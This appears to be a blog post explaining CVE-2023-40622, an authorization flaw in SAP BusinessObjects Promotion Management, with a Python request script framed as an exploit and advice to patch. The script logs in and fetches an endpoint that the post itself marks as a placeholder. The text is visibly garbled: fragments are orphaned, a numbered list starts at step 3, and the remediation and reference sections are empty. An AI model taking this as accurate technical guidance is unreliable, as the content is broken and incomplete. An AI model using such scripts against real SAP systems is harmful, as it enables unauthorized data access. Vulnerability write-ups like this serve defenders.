CVE-2023-40622 - Exploiting SAP BusinessObjects Promotion Management Sensitive Information Disclosure

SAP BusinessObjects is a popular suite used by businesses worldwide for powerful reporting and analytics. Its Promotion Management tool (a.k.a. "LCM") helps users manage and move content between SAP environments. But, as it turns out, a serious vulnerability—CVE-2023-40622—puts sensitive SAP data at risk in certain versions of the platform.

If you're running SAP BusinessObjects Business Intelligence Platform (BI) versions 420 or 430, and use Promotion Management, this is a must-read. In this post, we’ll break down how the vulnerability works, show you a code snippet to help understand the tech behind it, share reference links, and walk through the basics of an exploit scenario. We'll keep things plain and practical.

View sensitive information not meant for them.

- Use that info to compromise the whole application—endangering confidentiality, integrity, and even system availability.

SAP classified this vulnerability as “high impact” and urges users to patch ASAP.

How Does The Vulnerability Work?

Promotion Management is designed for authorized users to manage content and metadata migrations between SAP BI landscapes. However, due to poor access control on certain endpoints, a logged-in attacker can craft specific HTTP requests to access restricted system information they shouldn’t be able to see.

This is a classic “information disclosure via improper authorization” bug.

In plain English: Promotion Management didn’t properly check who should see sensitive stuff in certain situations.

Technical Exploit Details

The vulnerable endpoints relate to LCM (Lifecycle Management) APIs.

Attacker sends a crafted request to a vulnerable Promotion Management endpoint.

3. Endpoint returns restricted information, such as configuration files containing password hashes or internal URLs.

Let’s see a high-level example using Python and the requests library

import requests

# Replace these with your server's actual info
SAP_BI_URL = "https://sapserver:8443/BOE/BI";
LOGIN_ENDPOINT = SAP_BI_URL + "/logon/long"
PROMO_MGMT_VULN_ENDPOINT = SAP_BI_URL + "/promotionManagement/vulnerableEndpoint" # Example only

# Step 1: Log in (get session cookies/tokens)
session = requests.Session()
login_payload = {'j_username': 'attacker', 'j_password': 'password1'}
login_resp = session.post(LOGIN_ENDPOINT, data=login_payload, verify=False)

# Step 2: Access the vulnerable endpoint
vuln_resp = session.get(PROMO_MGMT_VULN_ENDPOINT, verify=False)

if vuln_resp.status_code == 200:
    print("[+] Vulnerable! Sensitive information disclosed:\n")
    print(vuln_resp.text)
else:
    print("[-] Not vulnerable or wrong endpoint.")

> Note: Endpoint names are examples. In a real exploit, attackers would enumerate Promotion Management's REST or OData APIs to find where authorization checks are weak.

SAP issued a patch and an advisory:

SAP Security Patch Day – September 2023

Official CVE Entry:

NIST CVE-2023-40622

If you’re using SAP BI 420 or 430:

Final Thoughts

CVE-2023-40622 reminds us that even authenticated users can be dangerous if applications don't strictly enforce authorization. In an enterprise setting like SAP BusinessObjects BI, such a bug can lead to total compromise—not just data leakage.

Don’t wait. Patch and verify your environments now.

Timeline

Published on: 09/12/2023 03:15:12 UTC
Last modified on: 09/13/2023 14:45:47 UTC